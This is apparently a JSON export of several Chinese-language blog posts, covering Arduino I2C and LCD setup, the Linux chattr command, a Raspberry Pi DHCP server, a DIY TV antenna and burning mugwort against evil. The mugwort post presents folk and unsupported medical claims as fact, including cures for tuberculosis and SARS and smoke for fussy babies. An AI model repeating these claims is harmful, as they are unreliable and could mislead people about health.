pointers，所以如果現在要開發新的程式，直接使用這些資源會比較輕鬆。\n參考資料 The Geek Stuff ","permalink":"https://blog.gtwang.org/programming/cpp-smart-pointers/","summary":"\u003cp\u003e智慧型指標是 C++ 中一個常用的設計模式，它可以讓 C++ 的程式自行管理記憶體的配置與回收，避免記憶體洩漏等問題。\u003c/p\u003e\n\u003cp\u003e在 C/C++ 語言中，我們常常會使用指標（pointer）來配置或存取記憶體，一個指標變數儲存了記憶體的位址，而程式設計師就可以運用這個記憶體位址來做出各種變化，是一個非常好用的型別，甚至在某些複雜的應用上，如果沒有指標這項功能的話，可能會讓程式設計師不知道如何開發程式。\u003c/p\u003e","title":"C++ 智慧型指標（Smart Pointer）：自動管理與回收記憶體"},{"content":"這裡介紹如何更改 Arduino 內建的 Wire 函式庫，提高 I2C 傳輸協定的 baud rate 到 400 KHz，增加資料傳輸的速度。\n一般市面上的感測器（sensors）中，如果傳輸的資料量不大的話，大概都會使用 I2C 這種傳輸協定，而 Arduino 內建的 Wire 函式庫本身就有支援 I2C，這種傳輸協定的特色就是接線簡單，它只需要串列資料（SDA）及串列時脈（SCL）兩條線就可以進行資料的傳輸，再加上供應電源的 VCC 與 GND，總共只需要接四條線，不過缺點就是資料傳輸的速率比較慢一些。\nI2C 有好幾種傳輸模式（也就是 baud rate），在標準上有 100KHz、400KHz、1MHz、3.4MHz、5MHz 等這幾種，而在 Arduino 的 Wire 函式庫中預設是使用最慢的 100KHz，如果您的感測器需要比較快的傳輸速度，可以稍微修改一下 Wire 的 twi.h 標頭檔，將 baud rate 提高以加速資料的傳輸。\ntwi.h 標頭檔在各種不同的系統中路徑有些小差異，Windows 中的路徑為\nC:\\Program Files (x86)\\Arduino\\hardware\\arduino\\avr\\libraries\\Wire\\utility\\twi.h 在 Mac OS X 中如果您是直接按照正常的安裝方式將 Arduino 拖進 Applications 中的話，路徑就是\n/Applications/Arduino.app/Contents/Java/hardware/arduino/avr/libraries/Wire/utility/twi.h 若在 Linux 系統之下，twi.h 的路徑則為 Arduino 的安裝路徑再加上\nhardware/arduino/avr/libraries/Wire/utility/twi.h 開啟 twi.h 這個標頭檔之後，找尋定義 TWI_FREQ 的地方：\n#ifndef TWI_FREQ #define TWI_FREQ 100000L #endif 這個 TWI_FREQ 所指定的值就是 I2C 的 baud rate，其預設值為 100000L（也就是 100KHz），如果要提高資料的傳輸速率，可以將這個值改為 400000L（亦即 400KHz）。\n修改完成之後，再刪除 hardware/libraries/Wire/Wire.o、 hardware/libraries/Wire/utility/twi.o 這兩個檔案，強迫 Wire 函式庫重新編譯（或是直接關閉 Arduino IDE 再重新開啟也可以，Arduino IDE 會自動檢查並且重新編譯必要的部份）。\n如果您的感測器支援高於 400KHz 的 baud rate，也可以依照感測器所支援的速度來設定，例如 MPU-6050 這個加速度計與陀螺儀六軸感測器就有支援到 500KHz，所以如果 Arduino 的 I2C 匯流排只有連接 MPU-6050 的話，也可以直接設定為 500000L。\n設定 baud rate 時，一定要先看看自己的 I2C 裝置（通常就是各種感測器）支援到多快的速度，如果設定的速度超過了裝置本身支援的速度上限的話，就會無法跟該設備連線。100KHz 是最基本的速度，一般的 I2C 裝置應該都可以使用這個速度，如果您發現您的 I2C 裝置無法連線，可以調回這個速度測試看看。\n如果您對於 Arduino 的相關應用有興趣，建議您可以繼續閱讀物聯網的文章。\n參考資料 Arduino ","permalink":"https://blog.gtwang.org/iot/arduino-iic-i2c-change-baud-rate/","summary":"\u003cp\u003e這裡介紹如何更改 Arduino 內建的 Wire 函式庫，提高 I2C 傳輸協定的 baud rate 到 400 KHz，增加資料傳輸的速度。\u003c/p\u003e\n\u003cp\u003e一般市面上的感測器（sensors）中，如果傳輸的資料量不大的話，大概都會使用 I2C 這種傳輸協定，而 Arduino 內建的 Wire 函式庫本身就有支援 I2C，這種傳輸協定的特色就是接線簡單，它只需要串列資料（SDA）及串列時脈（SCL）兩條線就可以進行資料的傳輸，再加上供應電源的 VCC 與 GND，總共只需要接四條線，不過缺點就是資料傳輸的速率比較慢一些。\u003c/p\u003e","title":"Arduino 更改 IIC（I2C）Baud Rate 為 400 KHz，增加傳輸速率"},{"content":"艾草是一個很容易取得，價格又便宜的避邪物品，如果家裡有貴氣的嬰兒或小朋友哭鬧、不好睡，也可以使用艾草。\n古代人認為艾草可以祛除邪毒、招百福，使人身體健康、治百病，針灸裡的灸療，用的就是艾草，而黃帝內經與本草綱目等著名的醫書也都記載了艾草的各種功效，許多食品中也都會添加艾草（例如客家人清明時節吃的艾草粄），艾草的功用可以說是五花八門。\n如果家裡有比較小的小朋友或嬰兒，會常哭鬧、晚上不好睡，也可以試試看拿艾草來薰香，另外如果大人參加喪禮、去醫院探病等，回家之後也可以使用曬乾的艾草薰香來處理一下。\n如果不喜歡薰香的人，可以考慮使用艾草作成的香皂，效果差不多，但是更方便。另外市面上也有以艾草製成的天然蚊香，既可驅趕蚊蟲，又兼具避邪功效。\n在台灣艾草非常容易取得，而且價格也非常便宜，常常使用也不用擔心價格太高的問題，而且夏天還可以當作天然的蚊香，不用擔心傷身體。如果不想花錢購買，也可以自己扦插繁殖，方法非常簡單。\n除了艾草之外，還有一些其它的植物也有避邪效果，需要的人可以參考。\n薰香用的艾草 一般若要拿艾草來當作薰香使用，最便宜的作法就是直接買艾絨來點燃使用，艾絨就是艾草曬乾之後製成的，在中草藥店應該都可以找的到。\n我是都直接買一大包來用，這樣是最省錢的作法，不過這種東西在網路上有些賣家賣得很貴，建議可以去一般市面上的中草藥店找一下，比較一下價錢。\n艾條是將艾絨做成像香菸一樣，用手拿著直接點燃就可以薰，這個通常是用來薰一些穴位用的，例如中醫艾灸治療胎位不正的時候，就是用這個。\n艾粒就是將艾條切成一粒一粒的，用針插著來薰，用途根艾條差不多。\n艾草的功用 在 YouTube 網站上也有許多介紹艾草功用的的影片：\n科學大解碼，艾草的妙用。 燃艾草、香茅 具天然驅蟲防蚊功效。 2012-1120生活接力棒，艾草學園。 以下是從網路上節錄的艾草相關資訊，給大家參考。\n五月艾 避邪防瘟疫 作者﹕胡乃文 上海同德堂醫師\n天氣漸熱，蚊蟲、蒼蠅滋生，在農曆五月「百毒月」，古人善用艾草，認為它可以祛除邪毒，招百福；使人身體健康，治百病。\n有個傳說，行軍、打野外或打仗的時候，軍隊為了找尋水源，可以在地上挖個坑，裡面置放燃燒發出濃煙的艾草，再用土掩埋起來，附近如果看到有煙冒出，可以認定那冒煙的地方就是水源，能探採水井。這個傳說是否屬實？沒有經驗，不得而知，但這其中應該有一些道理，因為艾草本就是可以「逐冷除濕」（李時珍）的一種藥物。\n《黃帝內經》是一部修道者與學習中醫的人必讀之書籍，記載了很多的經絡穴道，被利用於治病或用在講解修道上。這部經典裡面所講的藥物很少，僅有十三個藥物處方，而艾草即是其中之一。\n家有三年艾，郎中不用來 艾草是多年草本植物，屬菊科的植物，在中國各地都有出產，且依產地有不同的別名，潮汕產的叫艾草、饒平叫山艾、廣州叫五月艾、湖北蘄州所產的為蘄艾，為艾中上品，在蘄州當地有諺語傳云：「家有三年艾，郎中不用來。」說明艾草灸治病情，連醫生都可以省了。艾草春天生苗，高約二、三尺，葉形如菊葉，表面深綠色，背面密生灰白色絨毛，葉與莖具有油腺，發出特有香氣。夏秋開淡褐色小花。\n為了製作的艾絨可以長期保存，民間都是在陰曆五月端午節之前，尚未開花時，選擇山間野生的，莖枝高大的，葉厚長的，採集之。去除莖枝和已枯掉的葉子，用水洗淨，再曬乾後除去莖梗，取艾的葉子置於竹籮之中，像製茶的方法，用手搓磨，再放到石臼內，以杵搗爛，再放回竹籮中，去粗滓。如此反覆篩搗，直至盡除渣滓塵屑為止，剩下的就僅有灰白色像綿絮一樣的纖維，叫做「艾絨」。艾絨越陳久越好（筆者經驗，可能是油脂揮發掉了，以後燃燒時溫度較低，艾灸治病比較不痛。）如果要長久保存，也應注意防濕、防蟲。\n艾葉以存放得越久越好，李時珍說，凡用艾葉，需用陳久者，治令細軟，謂之熟艾，若生艾灸火，則傷人肌脈，故孟子云：「七年之病，求三年之艾。」清朝汪昂的《本草備要》香附條中記載，李時珍說：香附與各種其他藥物共同使用時，有不同的藥效，例如與人參、白朮一起則補氣，與當歸、地黃一起有補血作用，而如果與艾葉一起可以治血氣、暖子宮。\n艾絨可以用在灸治病情上，而灸治可以分為直接灸、間接灸等。直接的灸法，就是用上好的艾絨，以手捻成米粒大小的圓錐小柱狀的艾炷，放在要灸治的穴位上，以線香點燃，燃燒殆盡，熱氣會進入穴道中，能達到溫穴袪寒逐濕的效果。間接灸有許多的材料可用，例如「隔蒜灸」，將獨頭蒜切片，在上面用針刺破幾個小洞，置於穴道上方，灼艾灸，可以治療一切癰疽惡瘡腫核。（《本草備要》記載的有，李迅曰：癰疽著灸勝於用藥，緣熱毒中膈，上下不通，必得毒氣發泄，然後解散，初起便用獨頭大蒜切片，灸之三壯一易，百壯為率。）又例如「隔薑灸」可以切薑片，在上面也用針刺破幾個小洞，放在穴位上面，燃燒艾灸，可以溫寒去濕。\n防病、避邪 艾草不缺席 每年五月是個傳染病容易滋生的時期，中國各地民間都有不同的防避傳染病的習俗，艾草幾乎都不缺席。例如台灣的民俗有端午節時在大門口懸掛艾草、菖蒲等枝葉，認為有避邪、避毒的作用；楚地也有在五月五日端午節，採集艾草作成人形，懸在門戶上，用以攘毒氣的習俗。\n又例如地處江漢腹地的鍾樣，端午節時，鄉鄰互送粽子，喝雄黃酒、菖蒲酒，兒童頭戴「艾虎」，繫綁五色的繩帶，叫做「續命縷」，在兒童的臉上與手上塗雄黃用以避邪毒。另外，還有湖南南部的嘉禾，端午的時候，與台灣的風俗有點相同，家家門口掛蒲艾，婦女或用蒲根簪髻，或掐艾葉煎湯沐浴，並且在兒童的額頭塗上雄黃酒，燒艾葉驅除邪疫。\n嫩艾當作食物也可以避邪，不但能避邪，也可以治痢疾以及瀉血。《本草綱目》有，詵曰：春月采嫩艾做菜食，或和麵做餛飩如彈子，吞三五枚，以飯壓之，治一切鬼惡氣，長服止冷痢。又以嫩艾做乾餅子，用生薑煎服，止瀉痢，及產後瀉血，甚妙。\n艾草被用在中藥的方劑中，很古早的中國醫藥書籍就有記載。例如東漢的中醫名著──張仲景寫的《傷寒雜病論》中有兩個重要的用艾處方：「膠艾湯」和「柏葉湯」。膠艾湯用以治婦人月經因寒不調或胞阻、胞漏、子宮虛冷的不孕症，因為艾葉有暖子宮與止血作用；柏葉湯用以主治出血不止，二方至今仍是中醫臨床常用、好用的方劑。\n艾葉防瘟疫 遠離 SARS！ 近年來對艾葉的研究，已知它的化學成分含有的主要成分是揮發油，並且含有鞣質、黃酮、醇、多糖、微量元素及其他有機成分等。藥理學的研究發現艾葉有抗菌、抗病毒、平喘、鎮咳、祛痰、抗過敏、止血和抗凝血、增強免疫功能等作用。應用在臨床上，艾葉可廣泛地用以治療婦科疾病，如崩漏、痛經，治療呼吸道疾病如支氣管炎、肺結核、感冒等，包括二○○三年春季流行的嚴重急性呼吸道症候群（SARS）。──轉自台灣大紀元時報\n薰香器具 如果要拿艾絨來薰香的話，就會需要準備一個容器來裝艾絨，這個容器的作用只是要裝點燃的艾絨，不要有安全疑慮就可以了，如果不講究的話，隨便拿個不要用的碗盤也可以。\n薰香爐 網路上有許多薰香爐可以選擇，傳統上有金屬的與陶瓷的，可以看個人喜好與價格來挑選，其實用起來在功能上都沒什麼差別。\n將艾絨放進薰香爐中時，要注意一次不要放太多，因為艾絨很容易燃燒（比一般的香粉更容易點燃），而且煙也更濃，如果一次放太多可能會一下子燒得太旺，反而不好，建議一次放一點就好，或是將艾絨圍成環狀的方式（仿照蚊香一圈一圈的形狀）讓它慢慢燒。\n電子薰香爐 後來也有一種新的電子薰香爐，它的原理是靠著插電加熱，讓香品內（如沉香、檀香等）的精油揮發出來，不需要點火，比傳統上需要點火的薰香方式安全許多，而且它可以調節溫度讓味道慢慢揮發出來，可以持續比較長的時間，不會一下子就燒完，使用起來比較省，也不會有煙。\n由於我個人是還沒有使用過電子的薰香爐，我是聽朋友說拿來薰一般高級的沉香或檀香非常好用，我個人感覺艾絨應該也是可以放在裡面薰，如果您有興趣可以自行斟酌是否要使用這樣的設備。\n在網路上這樣的電子薰香爐一個大概在一千元上下，由於這種產品是新研發出來的，剛開始因為有專利，所以賣的很貴（我記得要好幾千塊），現在好像慢慢普及之後，價格也比較合理了。\n參考資料 大紀元 ","permalink":"https://blog.gtwang.org/children/artemisias/","summary":"\u003cp\u003e艾草是一個很容易取得，價格又便宜的避邪物品，如果家裡有貴氣的嬰兒或小朋友哭鬧、不好睡，也可以使用艾草。\u003c/p\u003e\n\u003cp\u003e古代人認為艾草可以祛除邪毒、招百福，使人身體健康、治百病，針灸裡的灸療，用的就是艾草，而黃帝內經與本草綱目等著名的醫書也都記載了艾草的各種功效，許多食品中也都會添加艾草（例如客家人清明時節吃的艾草粄），艾草的功用可以說是五花八門。\u003c/p\u003e","title":"艾草薰香避邪，適用於貴氣的嬰兒或小朋友"},{"content":"在 Linux 中有一個 chattr 指令，它可以用來設定檔案的各種屬性，防止檔案被刪除或是更改，即使是有管理者權限的時候也無法更動。\n在 Linux 系統中有時候我們會需要保護某些重要的檔案，避免這些檔案不小心被更改或是刪除，像是 /etc 下面的一些系統設定檔案，我們可能會不希望系統的套件管理程式在升級套件時更改掉我們已經設定好的設定檔，當然您也可以使用 chown 與 chmod 將重要的檔案改成 root 管理者才能夠寫入，不過這也很難預防您在使用 root 權限的時候誤刪檔案的問題。\nchattr 是一個可以用來設定 Linux 檔案屬性的指令，這些屬性跟一般使用 chmod 所設定的讀取（read）、寫入（write）與執行（execute）不同，chattr 可以設定更多其他的屬性，這些屬性原本只有在 EXT 系列的檔案系統（EXT2/3/4）有支援，而現在大部份 Linux 下面的檔案系統都有支援了，如 XFS、Btrfs 與 ReiserFS 等。\nchattr 指令是用來設定檔案屬性用的，而 lsattr 指令則可用來查看檔案的屬性，這兩個指令是包含在 e2fsprogs 套件之中，一般的 Linux 發行版通常都會預先安裝好。以下是使用教學與一些常用的範例。\n基本使用方式 chattr 指令的使用方式為：\nchattr [-RVf] [operator][attribute(s)] files... 其中 operator 可以是 +、- 或 =，後面再加上要設定的 attribute(s)，這跟 chmod 指令的用法類似，以下是一些常用的屬性：\na：只能以附加的方式寫入（append only）。 c：自動壓縮（compressed），Linux 核心會自動把檔案的內容先壓縮後，再寫入硬碟，而在讀取但內容時，Linux 核心也會自動進行解壓縮。 d：在使用 dump 時，這種檔案會被排除（no dump）。 i：檔案不可以被更動（immutable），不可以寫入、刪除、建立連結檔等。 s：安全刪除檔案（secure deletion），當檔案被刪除時，系統會將所有硬碟上的檔案內容用 0 取代，確保檔案資料確實刪除。 A：不要更新檔案存取時間（no atime updates）。 C：關閉 copy-on-write（no copy on write）。 S：當檔案內容更動時，馬上同步寫入硬碟（synchronous updates）。 chattr 還有許多比較不常用的屬性這裡沒有列出來，有興趣的人可以查閱 chattr 的線上手冊。\n接著示範如何查看一個檔案的屬性，首先建立一個測試用的檔案：\ndate \u0026gt; date.txt 接著使用 lsattr 來查看這個檔案的屬性：\nlsattr date.txt 輸出會像這樣：\n-------------e-- date.txt 這裡的輸出跟 ls -l 的輸出類似，如果是 - 則代表該屬性沒有被設定，如果有被設定的話，就會出現對應的英文字母。\n讓檔案不可以被更動 系統中一些重要的檔案可以設定 i 屬性（immutable），防止檔案被刪除會是更改：\nsudo chattr +i date.txt 然後用 lsattr 檢查一下：\nlsattr date.txt 輸出會像這樣：\n----i--------e-- date.txt 我們可以測試一下用 rm 指令刪除這的檔案：\nrm date.txt 這時候應該就會出現這樣的訊息：\nrm: remove write-protected regular file ‘date.txt’? 就算回答 y，也還是會出現不可以更動的錯誤訊息：\nrm: cannot remove ‘date.txt’: Operation not permitted 而且就算用管理者權限執行刪除的指令：\nsudo rm date.txt 還是一樣：\nrm: cannot remove ‘date.txt’: Operation not permitted 這樣就可以確保檔案不會被誤刪。\n如果真的要刪除這個檔案，就先必須把 i 屬性拿掉才行：\nsudo chattr -i date.txt rm date.txt 如果需要將整個目錄底下所有的檔案都加上 i 屬性，可以使用 -R 參數，例如：\nsudo chattr -R +i /etc 讓檔案只能增加內容，不能刪除 有些重要的系統記錄檔也是常常會需要保護的對象，但這些紀錄檔會不斷的更新，無法直接使用 i 屬性，如果想要避免誤刪這類的檔案，可以使用 a 屬性，設定這個屬性可以讓檔案只能增加內容，不可以刪除或覆寫，例如：\nsudo chattr +a /var/log/syslog 最後提醒一點，如果您將設定有 i 或是 a 屬性的檔案複製成另外一個新的檔案時，這些屬性並不會跟著被複製，所以如果新的檔案也需要被保護，就要重新設定。\n參考資料 Xmodulo OSTechNix ","permalink":"https://blog.gtwang.org/linux/how-to-make-file-immutable-on-linux-chattr-command/","summary":"\u003cp\u003e在 Linux 中有一個 \u003ccode\u003echattr\u003c/code\u003e 指令，它可以用來設定檔案的各種屬性，防止檔案被刪除或是更改，即使是有管理者權限的時候也無法更動。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中有時候我們會需要保護某些重要的檔案，避免這些檔案不小心被更改或是刪除，像是 \u003ccode\u003e/etc\u003c/code\u003e 下面的一些系統設定檔案，我們可能會不希望系統的套件管理程式在升級套件時更改掉我們已經設定好的設定檔，當然您也可以使用 \u003ccode\u003echown\u003c/code\u003e 與 \u003ccode\u003echmod\u003c/code\u003e 將重要的檔案改成 \u003ccode\u003eroot\u003c/code\u003e 管理者才能夠寫入，不過這也很難預防您在使用 \u003ccode\u003eroot\u003c/code\u003e 權限的時候誤刪檔案的問題。\u003c/p\u003e","title":"使用 chattr 指令設定檔案屬性，在 Linux 中預防檔案被更改或刪除"},{"content":"這裡教大家如何自己製作數位電視天線，成本不用幾塊錢，收訊品質也很不錯！\n市售的數位電視天線通常都要好幾百塊，其實自己拿一簡單的工具與線材來 DIY，成本只要幾塊錢，而且收訊品質不會輸市售的天線。\n以下是自製數位電視天線的步驟教學。\nStep 1\n首先準備製作天線需要的工具與材料：\n尖嘴鉗 美工刀 同軸電纜線與接頭 不要用的衣架 尖嘴鉗主要是用來剪同軸電纜線還有折衣架用的，如果有老虎鉗與斜口鉗也可以，而美工刀是用來剝線的。\n至於同軸電纜線要多長，以及接頭要準備哪一種就看個人需求了，我買一條 30 公尺的頭軸電纜，不到三百元，平均一公尺不用十塊錢。\n而衣架的話只要拿一個沒有用的衣架，盡量不要生鏽的就行了（如果有生鏽，可以用菜瓜布等將表面的鏽磨掉）。\nStep 2\n用尖嘴鉗把衣架折成下面這樣的形狀，左右兩邊都是正方形，邊長都是 12.6 公分，一般正常大小的衣架折起來的長度幾乎剛剛好，所以通常不需要剪，只要用鉗子折一下就可以了。\n折出這個形狀之後，在兩個正方形中間的部份，用美工刀將衣架的外皮剝掉一小段，就像照片中的那樣，之後我們會從這裡接上同軸電纜線。\nStep 3\n剪一段同軸電纜線，我們要準備把它接上剛剛準備好的衣架上。至於需要多長，就看個人的需求了，我自己是喜歡剪一段比較短的線來製作天線，做好之後再接上一條比較長的同軸電纜線延長，這樣拆卸比較方便。\nStep 4\n使用美工刀將同軸電纜線的外皮剝去至少 3 公分。\n用美工刀割的時候，不要太用力，別把裡面的線也割斷了。\nStep 5\n把裡面纏繞的網狀細線整理一下，拉出來放在一邊。\nStep 6\n用美工刀繼續把內層的金屬箔與絕緣層剝掉。\n剝開後會像這樣。\nStep 7\n將衣架綁上去，分別接在衣架的上下兩端，讓它形成一個迴路。\n而同軸電纜線中間的金屬箔膜最好括乾淨，以免接觸到中間的銅線而造成短路。\nStep 8\n找個鐵絲或是束帶固定一下，讓同軸電纜線跟衣架綁在一起。\nStep 9\n在同軸電纜線的另外一端鎖上一個接頭，至於要用哪一種，就看自己的需求了。\nStep 10\n這樣就大公告成了。如果感覺衣架與電纜線的接頭裸露不太好，可以用絕緣膠布稍微纏一下。\nStep 11\n接上數位電視機上盒，開始收看數位電視頻道。\n這種自製天線通常只要放在窗邊，大概都可以收的到，我這裡是放在三樓的落地窗旁邊，不用放在室外就可以收到很不錯的訊號了。\n這是實際收看數位電視的狀況，天線擺放的位置稍微調整一下之後，十五台數位電視頻道都可以正常收看，而且訊號都還不錯。\n","permalink":"https://blog.gtwang.org/diy/diy-digital-tv-antenna/","summary":"\u003cp\u003e這裡教大家如何自己製作數位電視天線，成本不用幾塊錢，收訊品質也很不錯！\u003c/p\u003e\n\u003cp\u003e市售的數位電視天線通常都要好幾百塊，其實自己拿一簡單的工具與線材來 DIY，成本只要幾塊錢，而且收訊品質不會輸市售的天線。\u003c/p\u003e","title":"[DIY] 自製數位電視天線教學，既便宜收訊又好！"},{"content":"這裡介紹如何在 Arduino 上面使用 Hitachi HD44780U 1602 LCD 點陣液晶模組，顯示簡單的文字。\n這是一片 Hitachi HD44780U 1602 LCD 點陣液晶模組，這個模組很便宜，拍賣網站上買的話，不用一百元就可以買到。\n在我買的這塊模組的背面已經焊接好一片 LCM1602 IIC V1 控制板，他可以讓我們很方便的使用 IIC（I2C）來控制 LCD 顯示器，而有些網站上賣的並沒有加上這一片，購買的時候要注意看。\n這是側面的樣子。\n有了這片顯示模組之後，就可以直接讓沒有螢幕輸出的 Arduino 顯示一些簡單的文字訊息，以下是針腳的接法與控制的程式。\nStep 1\n在顯示器背面的 LCM1602 IIC V1 控制板有 I2C 的四個針腳，分別為 GND、VCC、SDA 與 SCL，用杜邦線全部接出來。\nStep 2\n然後參考一下 Arduino 的 pinout 參考圖，接上對應的腳位，這裡我以 Arduino UNO 為例。\n連接的方式很簡單，VCC 接到 5V，GND 接到 GND，SDA 接到 SDA，SCL 接到 SCL。\nStep 3\n安裝 LiquidCrystal 函式庫，下載之後解壓縮到 Arduino 的 libraries 目錄中即可。\nStep 4\n接著開始編寫控制的程式：\n#include \u0026lt;Wire.h\u0026gt; // Arduino IDE 內建 // LCD I2C Library，從這裡可以下載： // https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads #include \u0026lt;LiquidCrystal_I2C.h\u0026gt; // Set the pins on the I2C chip used for LCD connections: // addr, en,rw,rs,d4,d5,d6,d7,bl,blpol LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); // 設定 LCD I2C 位址 void setup() { Serial.begin(115200); // 用於手動輸入文字 lcd.begin(16, 2); // 初始化 LCD，一行 16 的字元，共 2 行，預設開啟背光 // 閃爍三次 for(int i = 0; i \u0026lt; 3; i++) { lcd.backlight(); // 開啟背光 delay(250); lcd.noBacklight(); // 關閉背光 delay(250); } lcd.backlight(); // 輸出初始化文字 lcd.setCursor(0, 0); // 設定游標位置在第一行行首 lcd.print(\u0026#34;Hello, world!\u0026#34;); delay(1000); lcd.setCursor(0, 1); // 設定游標位置在第二行行首 lcd.print(\u0026#34;GTWang.org\u0026#34;); delay(8000); // 告知使用者可以開始手動輸入訊息 lcd.clear(); lcd.setCursor(0, 0); lcd.print(\u0026#34;Use Serial Mon\u0026#34;); lcd.setCursor(0, 1); lcd.print(\u0026#34;Type to display\u0026#34;); } void loop() { // 當使用者手動輸入訊息 if (Serial.available()) { // 等待一小段時間，確認資料都接收下來了 delay(100); // 清除舊訊息 lcd.clear(); // 讀取新訊息 while (Serial.available() \u0026gt; 0) { // 將訊息顯示在 LCD 上 lcd.write(Serial.read()); } } } Step 5\n將程式編譯上傳至 Arduino。\n如果正常的話，一開始顯示器上面就會出現一些初始訊息。\n等待幾秒鐘之後，顯示器會出現「Use Serial Mon Type to display」，這時候我們就可以開啟 Arduino IDE 中的 Serial Monitor 來輸入文字。\n按下「Send」之後，這個訊息就會直接顯示在 LCD 上面了。\n","permalink":"https://blog.gtwang.org/iot/ywrobot-arduino-lcm-1602-iic-v1-lcd-display/","summary":"\u003cp\u003e這裡介紹如何在 Arduino 上面使用 Hitachi HD44780U 1602 LCD 點陣液晶模組，顯示簡單的文字。\u003c/p\u003e\n\u003cp\u003e這是一片 Hitachi HD44780U 1602 LCD 點陣液晶模組，這個模組很便宜，拍賣網站上買的話，不用一百元就可以買到。\u003c/p\u003e","title":"Arduino 使用 1602 IIC（I2C） LCD 點陣液晶模組"},{"content":"這是義大利原裝進口的 Arduino UNO R3 原廠開發板，適合用來開發各類的感測器或物聯網應用。\nArduino 是一個開放原始碼的開發平台，包含硬體與軟體都是以開放原始碼的方式釋出的，使用者可以使用它來開發各式各樣的應用，以下是簡單的開箱介紹。\n這是原廠外盒。\n內容物除了 Arduino UNO R3 的板子之外，還有簡單的說明書與貼紙。\nArduino UNO R3 正面照片，中間那個黑色的就是最主要的 ATmega328P 微控制器（MCU）。\n這是背面的樣子。\n側面有各個針腳的標示，這一側是電源（power）與類比輸入（analog in）。\n這是另外一面，這邊是數位（digital）的部分。\n在開始開發前，要準備一條標準的 USB 線（A 型轉 B 型，這種線通常是印表機在用的）：\n利用這條 USB 線連接電腦之後，就可以開始使用 Arduino UNO 了。\nArduino 有一個非常容易上手的 IDE 開發環境，請先到 Arduino 的官方網站下載 Arduino Software，它同時支援 Windows、Mac OS X 與各種的 Linux 系統，支援性非常好，請依照自己的系統類型來安裝。\n安裝好之後，打開 Arduino 的 IDE，會像這個樣子：\n在這裡我們就可以開始開發程式了，而對於初學者而言，可以先從範例程式開始學習。Arduino IDE 環境中有很多內建的範例，對於剛入門的初學者而言非常方便。\n這裡我們隨便開啟一個 Blink 的範例程式。\nBlink 這個範例是讓 Arduino 板子上面的 LED 燈閃爍，再打開程式之後，如果要把這個程式放進 Arduino UNO 中執行，只要按下上傳程式的按鈕即可。\n當程式上傳完成後，下方會有 Done uploading 的訊息，另外還有一些空間使用率的資訊，以 Arduino UNO 而言，他只有 32 KB 的快閃記憶體（flash），而這個程式用掉了 1KB 左右（1,030 bytes）。\nSketch uses 1,030 bytes (3%) of program storage space. Maximum is 32,256 bytes. Global variables use 9 bytes (0%) of dynamic memory, leaving 2,039 bytes for local variables. Maximum is 2,048 bytes. 當程式上傳完畢之後，Arduino UNO 會自動執行剛剛上傳的程式，所以這時候板子上面的 LED 燈應該已經開始在閃了。\n不過 Arduino UNO 出場預設燒錄的程式就會讓 LED 燈不斷閃爍，所以燒進這個程式可能感覺沒什麼變化，您可以更改程式中的延遲時間，例如將 delay(1000) 改為 delay(500)，這樣就會有些不一樣了。\n在 Arduino 的官方網站上有很多開發者資源，包含各種文件與範例，建議初學者多多利用。\n如果您對於 Arduino 的相關應用有興趣，建議您可以繼續閱讀物聯網的文章。\n","permalink":"https://blog.gtwang.org/iot/arduino-uno-tutorial/","summary":"\u003cp\u003e這是義大利原裝進口的 Arduino UNO R3 原廠開發板，適合用來開發各類的感測器或物聯網應用。\u003c/p\u003e\n\u003cp\u003eArduino 是一個開放原始碼的開發平台，包含硬體與軟體都是以開放原始碼的方式釋出的，使用者可以使用它來開發各式各樣的應用，以下是簡單的開箱介紹。\u003c/p\u003e","title":"[開箱] Arduino UNO R3 義大利原廠開發板，入門使用教學"},{"content":"這裡介紹如何在樹莓派（Raspberry Pi）安裝 DHCP 伺服器，讓它負責配發與管理區域網路上的 IP 位址。\n樹莓派是一個迷你型的電腦，可運行各種 Linux 系統，因此非常適合拿來作為輕量化的伺服器使用，一般 DHCP 伺服器的負載都很輕，以樹莓派這樣的硬體來說是綽綽有餘，以下是在 Raspbian 系統中安裝與設定 DHCP 伺服器的流程。\nStep 1\n首先裝 isc-dhcp-server 這個套件：\nsudo apt-get install isc-dhcp-server Step 2\n編輯 /etc/network/interfaces，設定網路組態：\niface eth0 inet static address 192.168.1.1 # 自己的 IP 位址 netmask 255.255.255.0 # 網路遮罩 gateway 102.168.1.254 # 通訊閘道 Step 3\n編輯 /etc/dhcp/dhcpd.conf，設定 DHCP 伺服器組態：\n# 開放的動態 IP subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.200 192.168.1.250; # 開放配發的 IP 範圍 option routers 192.168.1.254; # 預設通訊閘道 option broadcast-address 192.168.1.255; # 廣播位址 default-lease-time 600; # 預設租約時間，單位為秒 max-lease-time 7200; # 最長租約時間，單位為秒 option domain-name-servers 8.8.8.8, 8.8.4.4; # DNS 伺服器 option domain-name \u0026#34;internal.example.org\u0026#34;; # 網域名稱 } 以上是基本的動態 IP 設定，如果您需要依照 client 端的網路卡 MAC 位址配發固定的 IP 位址的話，可以加入這樣的對應設定：\n# 依照網路卡 MAC 位址配發固定的 IP host sensor101 { hardware ethernet 4e:a3:53:01:30:0a; # 網路卡 MAC 位址 fixed-address 192.168.1.101; # 對應的 IP 位址 } host sensor102 { hardware ethernet 4e:a3:24:01:29:09; fixed-address 192.168.1.102; } 這樣當 DHCP 伺服器遇到指定的網路卡 MAC 位址的時候，就會配發事先設定好的 IP 位址。\nStep 4\n編輯 /etc/default/isc-dhcp-server，設定 啟用 DHCP 的網路卡：\n# 設定啟用 DHCP 的網路卡 INTERFACES=\u0026#34;eth0\u0026#34; Step 5\n重新啟動 DHCP 伺服器：\nsudo service isc-dhcp-server restart 正常的話，會有 ok 的訊息：\n[ ok ] Stopping ISC DHCP server: dhcpd. [ ok ] Starting ISC DHCP server: dhcpd. 這時候只要有 client 跟 DHCP 伺服器要求獲取 IP，在 /var/log/messages 中都會有這樣的紀錄：\nFeb 2 16:44:12 raspberrypi dhcpd: DHCPDISCOVER from 4e:43:54:01:00:09 via eth0 Feb 2 16:44:12 raspberrypi dhcpd: DHCPOFFER on 192.168.1.102 to 4e:43:54:01:00:09 via eth0 Feb 2 16:44:12 raspberrypi dhcpd: DHCPREQUEST for 192.168.1.102 (192.168.1.1) from 4e:43:54:01:00:09 via eth0 Feb 2 16:44:12 raspberrypi dhcpd: DHCPACK on 192.168.1.102 to 4e:43:54:01:00:09 via eth0 